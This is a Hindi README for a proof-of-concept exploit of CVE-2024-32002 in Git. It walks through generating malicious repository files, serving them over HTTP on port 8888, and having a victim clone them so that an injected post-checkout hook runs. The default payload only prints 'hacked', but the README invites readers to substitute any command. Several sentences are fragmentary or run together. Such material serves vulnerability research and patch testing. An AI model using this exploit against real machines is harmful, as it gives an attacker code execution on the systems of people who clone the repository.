
इस रिपॉजिटरी में CVE-2024-32002 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है, जो Git में एक गंभीर कमजोरी है जो दुर्भावनापूर्ण रिपॉजिटरी के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) की अनुमति देती है। यह एक्सप्लॉइट Windows और macOS पर Git की सबमॉड्यूल हैंडलिंग में केस-संवेदनशीलता की समस्या का फायदा उठाकर git clone ऑपरेशन के दौरान .git/hooks/ में एक दुर्भावनापूर्ण फ़ाइल लिखता है।
post-checkout हुक में स्वचालित रूप से एक दुर्भावनापूर्ण कमांड इंजेक्ट करता है।git clone https://github.com/March0sZ/CVE-2024-32002-hook.git
cd CVE-2024-32002-hook
mkdir -p public/hooks
cd public
git init
git config core.ignorecase false
नोट:
core.ignorecase falseआवश्यक है ताकि यह सुनिश्चित किया जा सके कि केस-इनसेंसिटिव फ़ाइल सिस्टम पर.git/hooksपथ में लिखा जा सके।
cd ..
python3 generate_payload.py
यह public डायरेक्टरी में दुर्भावनापूर्ण फ़ाइलें बनाएगा।
python3 server.py
यह पोर्ट 8888 पर एक लोकल HTTP सर्वर शुरू करता है।
पीड़ित मशीन पर, यह चलाएँ:
git clone http://<server-ip>:8888/ repo
क्लोन के बाद, post-checkout हुक इंजेक्ट किए गए कमांड को निष्पादित करेगा।
.git/hooks/post-checkout के रूप में लिखी जाती है।post-checkout को निष्पादित करता है, जिससे कोड एक्ज़ीक्यूशन होता है।डिफ़ॉल्ट पेलोड कमांड है:
echo 'echo hacked' > .git/hooks/post-checkout && chmod +x .git/hooks/post-checkout
यह कमांड एक post-checkout हुक बनाता है जो जब भी हुक निष्पादित होता है तो hacked प्रिंट करता है। अपना खुद का कमांड निष्पादित करने के लिए generate_payload.py में पेलोड को संशोधित करें।
यह प्रोजेक्ट केवल शैक्षिक और शोध उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।